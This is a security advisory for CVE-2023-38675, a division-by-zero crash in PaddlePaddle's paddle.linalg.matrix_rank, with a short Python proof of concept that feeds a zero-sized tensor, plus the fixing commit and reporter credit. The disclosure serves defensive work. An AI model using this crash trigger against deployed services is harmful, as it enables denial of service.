CVE-2023-38675
When x
dim calculates rows
or cols
to 0, paddle.linalg.matrix_rank
triggers FPE by numel / (rows * cols)
. The PoC is as follows:
import paddle
import numpy as np
x = np.random.uniform(0,0,[0,0,0,0,0]).astype(np.float32)
x = paddle.to_tensor(x)
paddle.linalg.matrix_rank(x)
We have patched the issue in commit 9bb6c669206c4bcc3ce3f6daf8a55650e190c1a1. The fix will be included in PaddlePaddle 2.6.0.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Tong Liu of ShanghaiTech University.